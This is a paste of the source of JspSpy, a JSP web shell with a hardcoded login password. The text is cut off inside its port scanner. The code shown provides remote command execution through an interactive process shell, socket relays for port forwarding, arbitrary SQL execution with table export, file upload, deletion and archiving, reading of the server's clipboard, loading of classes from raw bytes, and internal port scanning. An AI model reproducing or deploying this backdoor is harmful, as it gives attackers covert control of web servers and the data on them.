· 9 years ago · Nov 18, 2016, 07:30 AM
1<%@page pageEncoding="utf-8"%>
2<%@page import="java.io.*"%>
3<%@page import="java.util.*"%>
4<%@page import="java.util.regex.*"%>
5<%@page import="java.sql.*"%>
6<%@page import="java.lang.reflect.*"%>
7<%@page import="java.nio.charset.*"%>
8<%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
9<%@page import="java.text.*"%>
10<%@page import="java.net.*"%>
11<%@page import="java.util.zip.*"%>
12<%@page import="java.util.jar.*"%>
13<%@page import="java.awt.*"%>
14<%@page import="java.awt.image.*"%>
15<%@page import="javax.imageio.*"%>
16<%@page import="java.awt.datatransfer.DataFlavor"%>
17<%@page import="java.util.prefs.Preferences"%>
18<%!
19/**
20* by n1nty
21* CY . I Love You.
22*/
23private static final String PW = "asd"; //password
24private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
25private static final String REQUEST_CHARSET = "ISO-8859-1";
26private static final String PAGE_CHARSET = "gbk";
27private static final String CURRENT_DIR = "currentdir";
28private static final String MSG = "SHOWMSG";
29private static final String PORT_MAP = "PMSA";
30private static final String DBO = "DBO";
31private static final String SHELL_ONLINE = "SHELL_ONLINE";
32private static final String ENTER = "ENTER_FILE";
33private static final String ENTER_MSG = "ENTER_FILE_MSG";
34private static final String ENTER_CURRENT_DIR = "ENTER_CURRENT_DIR";
35private static final String SESSION_O = "SESSION_O";
36private static String SHELL_NAME = "";
37private static String WEB_ROOT = null;
38private static String SHELL_DIR = null;
39public static Map ins = new HashMap();
40private static boolean ISLINUX = false;
41
42private static final String MODIFIED_ERROR = "JspSpy Was Modified By Some Other Applications. Please Logout.";
43private static final String BACK_HREF = " <a href='javascript:history.back()'>Back</a>";
44
45private static class MyRequest extends HttpServletRequestWrapper {
46public MyRequest(HttpServletRequest req) {
47super(req);
48}
49public String getParameter(String name) {
50try {
51String value = super.getParameter(name);
52if (name == null)
53return null;
54return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET);
55} catch (Exception e) {
56return null;
57}
58}
59}
60private static class SpyClassLoader extends ClassLoader{
61public SpyClassLoader() {
62}
63public Class defineClass(String name,byte[] b) {
64return super.defineClass(name,b,0,b.length - 2);
65}
66}
67private static class DBOperator{
68private Connection conn = null;
69private Statement stmt = null;
70private String driver;
71private String url;
72private String uid;
73private String pwd;
74public DBOperator(String driver,String url,String uid,String pwd) throws Exception {
75this(driver,url,uid,pwd,false);
76}
77public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception {
78Class.forName(driver);
79if (connect)
80this.conn = DriverManager.getConnection(url,uid,pwd);
81this.url = url;
82this.driver = driver;
83this.uid = uid;
84this.pwd = pwd;
85}
86public void connect() throws Exception{
87this.conn = DriverManager.getConnection(url,uid,pwd);
88}
89public Object execute(String sql) throws Exception {
90if (isValid()) {
91stmt = conn.createStatement();
92if (stmt.execute(sql)) {
93return stmt.getResultSet();
94} else {
95return ""+stmt.getUpdateCount();
96}
97}
98throw new Exception("Connection is inValid.");
99}
100public void closeStmt() throws Exception{
101if (this.stmt != null)
102stmt.close();
103}
104public boolean isValid() throws Exception {
105return conn != null && !conn.isClosed();
106}
107public void close() throws Exception {
108if (isValid()) {
109closeStmt();
110conn.close();
111}
112}
113public boolean equals(Object o) {
114if (o instanceof DBOperator) {
115DBOperator dbo = (DBOperator)o;
116return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd);
117}
118return false;
119}
120public Connection getConn(){
121return this.conn;
122}
123}
124private static class StreamConnector extends Thread {
125private InputStream is;
126private OutputStream os;
127public StreamConnector( InputStream is, OutputStream os ){
128this.is = is;
129this.os = os;
130}
131public void run(){
132BufferedReader in = null;
133BufferedWriter out = null;
134try{
135in = new BufferedReader( new InputStreamReader(this.is));
136out = new BufferedWriter( new OutputStreamWriter(this.os));
137char buffer[] = new char[8192];
138int length;
139while((length = in.read( buffer, 0, buffer.length ))>0){
140out.write( buffer, 0, length );
141out.flush();
142}
143} catch(Exception e){}
144try{
145if(in != null)
146in.close();
147if(out != null)
148out.close();
149} catch( Exception e ){}
150}
151public static void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){
152new Thread(new Runnable(){
153public void run(){
154while (true) {
155try{
156byte[] data = new byte[100];
157int len = localIn.read(data);
158while (len != -1) {
159remoteOut.write(data,0,len);
160len = localIn.read(data);
161}
162}catch (Exception e) {
163break;
164}
165}
166}
167}).start();
168}
169public static void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){
170new Thread(new Runnable(){
171public void run(){
172while(true) {
173try{
174byte[] data = new byte[100];
175int len = remoteIn.read(data);
176while (len != -1) {
177localOut.write(data,0,len);
178len = remoteIn.read(data);
179}
180}catch (Exception e) {
181try{
182soc.close();
183remoteSoc.close();
184}catch(Exception ex) {
185}
186break;
187}
188}
189}
190}).start();
191}
192}
193private static class EnterFile extends File{
194private ZipFile zf = null;
195private ZipEntry entry = null;
196private boolean isDirectory = false;
197private String absolutePath = null;
198public void setEntry(ZipEntry e) {
199this.entry = e;
200}
201public void setAbsolutePath(String p) {
202this.absolutePath = p;
203}
204public void close() throws Exception{
205this.zf.close();
206}
207public void setZf(String p) throws Exception{
208if (p.toLowerCase().endsWith(".jar"))
209this.zf = new JarFile(p);
210else
211this.zf = new ZipFile(p);
212}
213public EnterFile(File parent, String child) {
214super(parent,child);
215}
216public EnterFile(String pathname) {
217super(pathname);
218}
219public EnterFile(String pathname,boolean isDir) {
220this(pathname);
221this.isDirectory = isDir;
222}
223public EnterFile(String parent, String child) {
224super(parent,child);
225}
226public EnterFile(URI uri) {
227super(uri);
228}
229public boolean exists(){
230return new File(this.zf.getName()).exists();
231}
232public File[] listFiles() {
233java.util.List list = new ArrayList();
234java.util.List handled = new ArrayList();
235String currentDir = super.getPath();
236currentDir = currentDir.replace('\\','/');
237if (currentDir.indexOf("/") == 0)
238{
239if (currentDir.length() > 1)
240currentDir = currentDir.substring(1);
241else
242currentDir = "";
243}
244Enumeration e = this.zf.entries();
245while (e.hasMoreElements())
246{
247ZipEntry entry = (ZipEntry)e.nextElement();
248String eName = entry.getName();
249if (this.zf instanceof JarFile) {
250if (!entry.isDirectory()){
251EnterFile ef = new EnterFile(eName);
252ef.setEntry(entry);
253try{
254ef.setZf(this.zf.getName());
255}catch(Exception ex) {
256}
257list.add(ef);
258}
259} else {
260if (currentDir.equals("")) {
261//zip root directory
262if (eName.indexOf("/") == -1 || eName.matches("[^/]+/$"))
263{
264EnterFile ef = new EnterFile(eName.replaceAll("/",""));
265handled.add(eName.replaceAll("/",""));
266ef.setEntry(entry);
267list.add(ef);
268} else {
269if (eName.indexOf("/") != -1) {
270String tmp = eName.substring(0,eName.indexOf("/"));
271if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
272EnterFile ef = new EnterFile(tmp,true);
273ef.setEntry(entry);
274list.add(ef);
275handled.add(tmp);
276}
277}
278}
279} else {
280if (eName.startsWith(currentDir)) {
281if (eName.matches(currentDir+"/[^/]+/?$")) {
282//file.
283EnterFile ef = new EnterFile(eName);
284ef.setEntry(entry);
285list.add(ef);
286if (eName.endsWith("/")) {
287String tmp = eName.substring(eName.lastIndexOf('/',eName.length()-2));
288tmp = tmp.substring(1,tmp.length()-1);
289handled.add(tmp);
290}
291} else {
292//dir
293try {
294String tmp = eName.substring(currentDir.length()+1);
295tmp = tmp.substring(0,tmp.indexOf('/'));
296if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
297EnterFile ef = new EnterFile(tmp,true);
298ef.setAbsolutePath(currentDir+"/"+tmp);
299ef.setEntry(entry);
300list.add(ef);
301handled.add(tmp);
302}
303} catch (Exception ex) {
304}
305}
306}
307}
308}
309}
310return (File[])list.toArray(new File[0]);
311}
312public boolean isDirectory(){
313return this.entry.isDirectory() || this.isDirectory;
314}
315public String getParent(){
316return "";
317}
318public String getAbsolutePath(){
319return absolutePath != null ? absolutePath : super.getPath();
320}
321public String getName(){
322if (this.zf instanceof JarFile) {
323return this.getAbsolutePath();
324} else {
325return super.getName();
326}
327}
328public long lastModified(){
329return entry.getTime();
330}
331public boolean canRead(){
332return false;
333}
334public boolean canWrite(){
335return false;
336}
337public boolean canExecute(){
338return false;
339}
340public long length(){
341return entry.getSize();
342}
343}
344private static class OnLineProcess {
345private String cmd = "first";
346private Process pro;
347public OnLineProcess(Process p){
348this.pro = p;
349}
350public void setPro(Process p) {
351this.pro = p;
352}
353public void setCmd(String c){
354this.cmd = c;
355}
356public String getCmd(){
357return this.cmd;
358}
359public Process getPro(){
360return this.pro;
361}
362public void stop(){
363this.pro.destroy();
364}
365}
366private static class OnLineConnector extends Thread {
367private OnLineProcess ol = null;
368private InputStream is;
369private OutputStream os;
370private String name;
371public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){
372this.is = is;
373this.os = os;
374this.name = name;
375this.ol = ol;
376}
377public void run(){
378BufferedReader in = null;
379BufferedWriter out = null;
380try{
381in = new BufferedReader( new InputStreamReader(this.is));
382out = new BufferedWriter( new OutputStreamWriter(this.os));
383char buffer[] = new char[128];
384if(this.name.equals("exeRclientO")) {
385//from exe to client
386int length = 0;
387while((length = in.read( buffer, 0, buffer.length ))>0){
388String str = new String(buffer, 0, length);
389str = str.replaceAll("&","&").replaceAll("<","<").replaceAll(">",">");
390str = str.replaceAll(""+(char)13+(char)10,"<br/>");
391str = str.replaceAll("\n","<br/>");
392out.write(str.toCharArray(), 0, str.length());
393out.flush();
394}
395} else {
396//from client to exe
397while(true) {
398while(this.ol.getCmd() == null) {
399Thread.sleep(500);
400}
401if (this.ol.getCmd().equals("first")) {
402this.ol.setCmd(null);
403continue;
404}
405this.ol.setCmd(this.ol.getCmd() + (char)10);
406char[] arr = this.ol.getCmd().toCharArray();
407out.write(arr,0,arr.length);
408out.flush();
409this.ol.setCmd(null);
410}
411}
412} catch(Exception e){
413}
414try{
415if(in != null)
416in.close();
417if(out != null)
418out.close();
419} catch( Exception e ){
420}
421}
422}
423private static class Table{
424private ArrayList rows = null;
425private boolean echoTableTag = false;
426public void setEchoTableTag(boolean v) {
427this.echoTableTag = v;
428}
429public Table(){
430this.rows = new ArrayList();
431}
432public void addRow(Row r) {
433this.rows.add(r);
434}
435public String toString(){
436StringBuffer html = new StringBuffer();
437if (echoTableTag)
438html.append("<table>");
439for (int i = 0;i<rows.size();i++) {
440 Row r=(Row)rows.get(i);
441html.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
442 ArrayList columns = r.getColumns();
443for (int a = 0;a<columns.size();a++) {
444 Column c = (Column)columns.get(a);
445html.append("<td nowrap>");
446String vv = Util.htmlEncode(Util.getStr(c.getValue()));
447if (vv.equals(""))
448vv = " ";
449html.append(vv);
450html.append("</td>");
451}
452html.append("</tr>");
453}
454if (echoTableTag)
455html.append("</table>");
456return html.toString();
457}
458public static String rs2Table(ResultSet rs,String sep,boolean op) throws Exception{
459StringBuffer table = new StringBuffer();
460ResultSetMetaData meta = rs.getMetaData();
461int count = meta.getColumnCount();
462if (!op)
463table.append("<b style='color:red;margin-left:15px'><i> View Struct </i></b> - <a href=\"javascript:doPost({o:'executesql'})\">View All Tables</a><br/><br/>");
464else
465table.append("<b style='color:red;margin-left:15px'><i> All Tables </i></b><br/><br/>");
466table.append("<script>function view(t){document.getElementById('sql').value='select * from "+sep+"'+t+'"+sep+"';}</script>");
467table.append("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
468for (int i = 1;i<=count;i++) {
469table.append("<td nowrap>"+meta.getColumnName(i)+"</td>");
470}
471if (op)
472table.append("<td> </td>");
473table.append("</tr>");
474while (rs.next()) {
475String tbName = null;
476table.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
477for (int i = 1;i<=count;i++) {
478String v = rs.getString(i);
479if (i == 3)
480tbName = v;
481table.append("<td nowrap>"+Util.null2Nbsp(v)+"</td>");
482}
483if (op)
484table.append("<td nowrap> <a href=\"#\" onclick=\"view('"+tbName+"')\">View</a> | <a href=\"javascript:doPost({o:'executesql',type:'struct',table:'"+tbName+"'})\">Struct</a> | <a href=\"javascript:doPost({o:'export',table:'"+tbName+"'})\">Export </a> | <a href=\"javascript:doPost({o:'vExport',table:'"+tbName+"'})\">Save To File</a> </td>");
485table.append("</tr>");
486}
487table.append("</table><br/>");
488return table.toString();
489}
490}
491private static class Row{
492private ArrayList cols = null;
493public Row(){
494this.cols = new ArrayList();
495}
496public void addColumn(Column n) {
497this.cols.add(n);
498}
499public ArrayList getColumns(){
500return this.cols;
501}
502}
503private static class Column{
504private String value;
505public Column(String v){
506this.value = v;
507}
508public String getValue(){
509return this.value;
510}
511}
512private static class Util{
513public static boolean isEmpty(String s) {
514return s == null || s.trim().equals("");
515}
516public static boolean isEmpty(Object o) {
517return o == null || isEmpty(o.toString());
518}
519public static String getSize(long size,char danwei) {
520if (danwei == 'M') {
521double v = formatNumber(size / 1024.0 / 1024.0,2);
522if (v > 1024) {
523return getSize(size,'G');
524}else {
525return v + "M";
526}
527} else if (danwei == 'G') {
528return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G";
529} else if (danwei == 'K') {
530double v = formatNumber(size / 1024.0,2);
531if (v > 1024) {
532return getSize(size,'M');
533} else {
534return v + "K";
535}
536} else if (danwei == 'B') {
537if (size > 1024) {
538return getSize(size,'K');
539}else {
540return size + "B";
541}
542}
543return ""+0+danwei;
544}
545public static boolean exists(String[] arr,String v) {
546for (int i =0;i<arr.length;i++) {
547if (v.equals(arr[i])) {
548return true;
549}
550}
551return false;
552}
553public static double formatNumber(double value,int l) {
554NumberFormat format = NumberFormat.getInstance();
555format.setMaximumFractionDigits(l);
556format.setGroupingUsed(false);
557return new Double(format.format(value)).doubleValue();
558}
559public static boolean isInteger(String v) {
560if (isEmpty(v))
561return false;
562return v.matches("^\\d+$");
563}
564public static String formatDate(long time) {
565SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
566return format.format(new java.util.Date(time));
567}
568public static String convertPath(String path) {
569return path != null ? path.replace('\\','/') : "";
570}
571public static String htmlEncode(String v) {
572if (isEmpty(v))
573return "";
574return v.replaceAll("&","&").replaceAll("<","<").replaceAll(">",">");
575}
576public static String getStr(String s) {
577return s == null ? "" :s;
578}
579public static String null2Nbsp(String s) {
580if (s == null)
581s = " ";
582return s;
583}
584public static String getStr(Object s) {
585return s == null ? "" :s.toString();
586}
587public static String exec(String regex, String str, int group) {
588Pattern pat = Pattern.compile(regex);
589Matcher m = pat.matcher(str);
590if (m.find())
591return m.group(group);
592return null;
593}
594public static void outMsg(Writer out,String msg) throws Exception {
595outMsg(out,msg,"center");
596}
597public static void outMsg(Writer out,String msg,String align) throws Exception {
598out.write("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:"+align+";font-weight:bold;margin:10px\">"+msg+"</div>");
599}
600public static String highLight(String str) {
601str = str.replaceAll("\\b(abstract|package|String|byte|static|synchronized|public|private|protected|void|int|long|double|boolean|float|char|final|extends|implements|throw|throws|native|class|interface|emum)\\b","<span style='color:blue'>$1</span>");
602str = str.replaceAll("\t(//.+)","\t<span style='color:green'>$1</span>");
603return str;
604}
605}
606private static class UploadBean {
607private String fileName = null;
608private String suffix = null;
609private String savePath = "";
610private ServletInputStream sis = null;
611private OutputStream targetOutput = null;
612private byte[] b = new byte[1024];
613public void setTargetOutput(OutputStream stream) {
614this.targetOutput = stream;
615}
616public UploadBean() {
617}
618public void setSavePath(String path) {
619this.savePath = path;
620}
621public String getFileName(){
622return this.fileName;
623}
624public void parseRequest(HttpServletRequest request) throws IOException {
625sis = request.getInputStream();
626int a = 0;
627int k = 0;
628String s = "";
629while ((a = sis.readLine(b,0,b.length))!= -1) {
630s = new String(b, 0, a,PAGE_CHARSET);
631if ((k = s.indexOf("filename=\""))!= -1) {
632s = s.substring(k + 10);
633k = s.indexOf("\"");
634s = s.substring(0, k);
635File tF = new File(s);
636if (tF.isAbsolute()) {
637fileName = tF.getName();
638} else {
639fileName = s;
640}
641k = s.lastIndexOf(".");
642suffix = s.substring(k + 1);
643upload();
644}
645}
646}
647private void upload() throws IOException{
648try {
649OutputStream out = null;
650if (this.targetOutput != null)
651out = this.targetOutput;
652else
653out = new FileOutputStream(new File(savePath,fileName));
654int a = 0;
655int k = 0;
656String s = "";
657while ((a = sis.readLine(b,0,b.length))!=-1) {
658s = new String(b, 0, a);
659if ((k = s.indexOf("Content-Type:"))!=-1) {
660break;
661}
662}
663sis.readLine(b,0,b.length);
664while ((a = sis.readLine(b,0,b.length)) != -1) {
665s = new String(b, 0, a);
666if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
667break;
668}
669out.write(b, 0, a);
670}
671if (out instanceof FileOutputStream)
672out.close();
673} catch (IOException ioe) {
674throw ioe;
675}
676}
677}
678%>
679<%
680SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1);
681String myAbsolutePath = application.getRealPath(request.getServletPath());
682if (Util.isEmpty(myAbsolutePath)) {//for weblogic
683SHELL_NAME = request.getServletPath();
684myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString();
685SHELL_NAME=request.getContextPath()+SHELL_NAME;
686WEB_ROOT = new File(application.getResource("/").getPath()).toString();
687} else {
688WEB_ROOT = application.getRealPath("/");
689}
690SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator)));
691if (SHELL_DIR.indexOf('/') == 0)
692ISLINUX = true;
693else
694ISLINUX = false;
695
696if (session.getAttribute(CURRENT_DIR) == null)
697session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR));
698//request = new MyRequest(request);
699HttpServletRequest myrequest = new MyRequest(request);
700if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)
701 ) {
702String o = myrequest.getParameter("o");
703if (o != null && o.equals("login")) {
704((Invoker)ins.get("login")).invoke(myrequest,response,session);
705return;
706} else if (o != null && o.equals("vLogin")) {
707((Invoker)ins.get("vLogin")).invoke(myrequest,response,session);
708return;
709} else {
710((Invoker)ins.get("vLogin")).invoke(myrequest,response,session);
711return;
712}
713}
714%>
715<%!
716private static interface Invoker {
717public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception;
718public boolean doBefore();
719public boolean doAfter();
720}
721private static class DefaultInvoker implements Invoker{
722public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
723}
724public boolean doBefore(){
725return true;
726}
727public boolean doAfter() {
728return true;
729}
730}
731private static class ScriptInvoker extends DefaultInvoker{
732public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
733try {
734PrintWriter out = response.getWriter();
735out.println("<script type=\"text/javascript\">"+
736" String.prototype.trim = function(){return this.replace(/^\\s+|\\s+$/,'');};"+
737" function fso(obj) {"+
738" this.currentDir = '"+JSession.getAttribute(CURRENT_DIR)+"';"+
739" this.filename = obj.filename;"+
740" this.path = obj.path;"+
741" this.filetype = obj.filetype;"+
742" this.charset = obj.charset;"+
743" };"+
744" fso.prototype = {"+
745" copy:function(){"+
746" var path = prompt('Copy To : ',this.path);"+
747" if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
748" doPost({o:'copy',src:this.path,to:path});"+
749" },"+
750" move:function() {"+
751" var path =prompt('Move To : ',this.path);"+
752" if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
753" doPost({o:'move',src:this.path,to:path})"+
754" },"+
755" vEdit:function() {"+
756" if (!this.charset)"+
757" doPost({o:'vEdit',filepath:this.path});"+
758" else"+
759" doPost({o:'vEdit',filepath:this.path,charset:this.charset});"+
760" },"+
761" down:function() {"+
762" doPost({o:'down',path:this.path})"+
763" },"+
764" removedir:function() {"+
765" if (!confirm('Dangerous ! Are You Sure To Delete '+this.filename+'?'))return;"+
766" doPost({o:'removedir',dir:this.path});"+
767" },"+
768" mkdir:function() {"+
769" var name = prompt('Input New Directory Name','');"+
770" if (name == null || name.trim().length == 0)return;"+
771" doPost({o:'mkdir',name:name});"+
772" },"+
773" subdir:function(out) {"+
774" doPost({o:'filelist',folder:this.path,outentry:(out || 'none')})"+
775" },"+
776" parent:function() {"+
777" var parent=(this.path.substr(0,this.path.lastIndexOf(\"/\")))+'/';"+
778" doPost({o:'filelist',folder:parent})"+
779" },"+
780" createFile:function() {"+
781" var path = prompt('Input New File Name','');"+
782" if (path == null || path.trim().length == 0) return;"+
783" doPost({o:'vCreateFile',filepath:path})"+
784" },"+
785" deleteBatch:function() {"+
786" if (!confirm('Are You Sure To Delete These Files?')) return;"+
787" var selected = new Array();"+
788" var inputs = document.getElementsByTagName('input');"+
789" for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
790" if (selected.length == 0) {alert('No File Selected');return;}"+
791" doPost({o:'deleteBatch',files:selected.join(',')})"+
792" },"+
793" packBatch:function() {"+
794" var selected = new Array();"+
795" var inputs = document.getElementsByTagName('input');"+
796" for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
797" if (selected.length == 0) {alert('No File Selected');return;}"+
798" var savefilename = prompt('Input Target File Name(Only Support ZIP)','pack.zip');"+
799" if (savefilename == null || savefilename.trim().length == 0)return;"+
800" doPost({o:'packBatch',files:selected.join(','),savefilename:savefilename})"+
801" },"+
802" pack:function(showconfig) {"+
803" if (showconfig && confirm('Need Pack Configuration?')) {doPost({o:'vPack',packedfile:this.path});return;}"+
804" var tmpName = '';"+
805" if (this.filename.indexOf('.') == -1) tmpName = this.filename;"+
806" else tmpName = this.filename.substr(0,this.filename.lastIndexOf('.'));"+
807" tmpName += '.zip';"+
808" var path = this.path;"+
809" var name = prompt('Input Target File Name (Only Support Zip)',tmpName);"+
810" if (name == null || path.trim().length == 0) return;"+
811" doPost({o:'pack',packedfile:path,savefilename:name})"+
812" },"+
813" vEditProperty:function() {"+
814" var path = this.path;"+
815" doPost({o:'vEditProperty',filepath:path})"+
816" },"+
817" unpack:function() {"+
818" var path = prompt('unpack to : ',this.currentDir+'/'+this.filename.substr(0,this.filename.lastIndexOf('.')));"+
819" if (path == null || path.trim().length == 0) return;"+
820" doPost({o:'unpack',savepath:path,zipfile:this.path})"+
821" },"+
822" enter:function() {"+
823" doPost({o:'enter',filepath:this.path})"+
824" }"+
825" };"+
826" function doPost(obj) {"+
827" var form = document.forms[\"doForm\"];"+
828" var elements = form.elements;for (var i = form.length - 1;i>=0;i--){form.removeChild(elements[i])}"+
829" for (var pro in obj)"+
830" {"+
831" var input = document.createElement(\"input\");"+
832" input.type = \"hidden\";"+
833" input.name = pro;"+
834" input.value = obj[pro];"+
835" form.appendChild(input);"+
836" }"+
837" form.submit();"+
838" }"+
839"</script>");
840
841} catch (Exception e) {
842
843throw e ;
844}
845}
846}
847private static class BeforeInvoker extends DefaultInvoker {
848public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
849try {
850PrintWriter out = response.getWriter();
851out.println("<html><head><title>JspSpy Private Codz By - Ninty</title><style type=\"text/css\">"+
852"body,td{font: 12px Arial,Tahoma;line-height: 16px;}"+
853".input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}"+
854".area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}"+
855".bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}"+
856"a {color: #00f;text-decoration:underline;}"+
857"a:hover{color: #f00;text-decoration:none;}"+
858".alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}"+
859".alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}"+
860".focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}"+
861".head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}"+
862".head td span{font-weight:normal;}"+
863"form{margin:0;padding:0;}"+
864"h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}"+
865"ul.info li{margin:0;color:#444;line-height:24px;height:24px;}"+
866"u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}"+
867".secho{height:400px;width:100%;overflow:auto;border:none}"+
868"hr{border: 1px solid rgb(221, 221, 221); height: 0px;}"+
869"</style></head><body style=\"margin:0;table-layout:fixed; word-break:break-all\">");
870} catch (Exception e) {
871
872throw e ;
873}
874}
875}
876private static class AfterInvoker extends DefaultInvoker {
877public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
878try {
879PrintWriter out = response.getWriter();
880out.println("</body></html>");
881} catch (Exception e) {
882
883throw e ;
884}
885}
886}
887private static class DeleteBatchInvoker extends DefaultInvoker {
888public boolean doBefore(){return false;}
889public boolean doAfter(){return false;}
890public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
891try {
892String files = request.getParameter("files");
893int success = 0;
894int failed = 0;
895if (!Util.isEmpty(files)) {
896String currentDir = JSession.getAttribute(CURRENT_DIR).toString();
897String[] arr = files.split(",");
898for (int i = 0;i<arr.length;i++) {
899 String fs = arr[i];
900File f = new File(currentDir,fs);
901if(f.delete())
902success += 1;
903else
904failed += 1;
905}
906}
907JSession.setAttribute(MSG,success+" Files Deleted <span style='color:green'>Success</span> , "+failed+" Files Deleted <span style='color:red'>Failed</span>!");
908response.sendRedirect(SHELL_NAME);
909} catch (Exception e) {
910
911throw e ;
912}
913}
914}
915private static class ClipBoardInvoker extends DefaultInvoker {
916public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
917try {
918PrintWriter out = response.getWriter();
919out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
920" <tr>"+
921" <td>"+
922" <h2>System Clipboard »</h2>"+
923"<p><pre>");
924try{
925out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getContents(DataFlavor.stringFlavor).getTransferData(DataFlavor.stringFlavor))));
926}catch (Exception ex) {
927out.println("ClipBoard is Empty Or Is Not Text Data !");
928}
929out.println("</pre>"+
930" <input class=\"bt\" name=\"button\" id=\"button\" onClick=\"history.back()\" value=\"Back\" type=\"button\" size=\"100\" />"+
931" </p>"+
932" </td>"+
933" </tr>"+
934"</table>");
935} catch (Exception e) {
936
937throw e ;
938}
939}
940}
941private static class VPortScanInvoker extends DefaultInvoker {
942public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
943try {
944PrintWriter out = response.getWriter();
945String ip = request.getParameter("ip");
946String ports = request.getParameter("ports");
947String timeout = request.getParameter("timeout");
948String banner = request.getParameter("banner");
949if (Util.isEmpty(ip))
950ip = "127.0.0.1";
951if (Util.isEmpty(ports))
952ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
953if (Util.isEmpty(timeout))
954timeout = "2";
955out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
956"<h2 id=\"Bin_H2_Title\">PortScan >></h2>"+
957"<div id=\"YwLB\"><form action=\""+SHELL_NAME+"\" method=\"post\">"+
958"<p><input type=\"hidden\" value=\"portScan\" name=\"o\">"+
959"IP : <input name=\"ip\" type=\"text\" value=\""+ip+"\" id=\"ip\" class=\"input\" style=\"width:10%;margin:0 8px;\" /> Port : <input name=\"ports\" type=\"text\" value=\""+ports+"\" id=\"ports\" class=\"input\" style=\"width:40%;margin:0 8px;\" /> <input "+(!Util.isEmpty(banner) ? "checked" : "")+" type='checkbox' value='yes' name='banner'/>Banner Timeout (Second) : <input name=\"timeout\" type=\"text\" value=\""+timeout+"\" id=\"timeout\" class=\"input\" size=\"5\" style=\"margin:0 8px;\" /> <input type=\"submit\" name=\"submit\" value=\"Scan\" id=\"submit\" class=\"bt\" />"+
960"</p>"+
961"</form></div>"+
962"</td></tr></table>");
963} catch (Exception e) {
964
965throw e ;
966}
967}
968}
969private static class PortScanInvoker extends DefaultInvoker {
970public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
971try {
972PrintWriter out = response.getWriter();
973((Invoker)ins.get("vPortScan")).invoke(request,response,JSession);
974out.println("<hr/>");
975String ip = request.getParameter("ip");
976String ports = request.getParameter("ports");
977String timeout = request.getParameter("timeout");
978String banner = request.getParameter("banner");
979int iTimeout = 0;
980if (Util.isEmpty(ip) || Util.isEmpty(ports))
981return;
982if (!Util.isInteger(timeout)) {
983timeout = "2";
984}
985iTimeout = Integer.parseInt(timeout);
986Map rs = new LinkedHashMap();
987String[] portArr = ports.split(",");
988for (int i =0;i<portArr.length;i++) {
989 String port = portArr[i];
990BufferedReader r = null;
991try {
992Socket s = new Socket();
993s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout);
994s.setSoTimeout(iTimeout);
995if (!Util.isEmpty(banner)) {
996r = new BufferedReader(new InputStreamReader(s.getInputStream()));
997StringBuffer sb = new StringBuffer();
998String b = r.readLine();
999while (b != null) {
1000sb.append(b+" ");
1001try {
1002b = r.readLine();
1003} catch (Exception e) {
1004break;
1005}
1006}
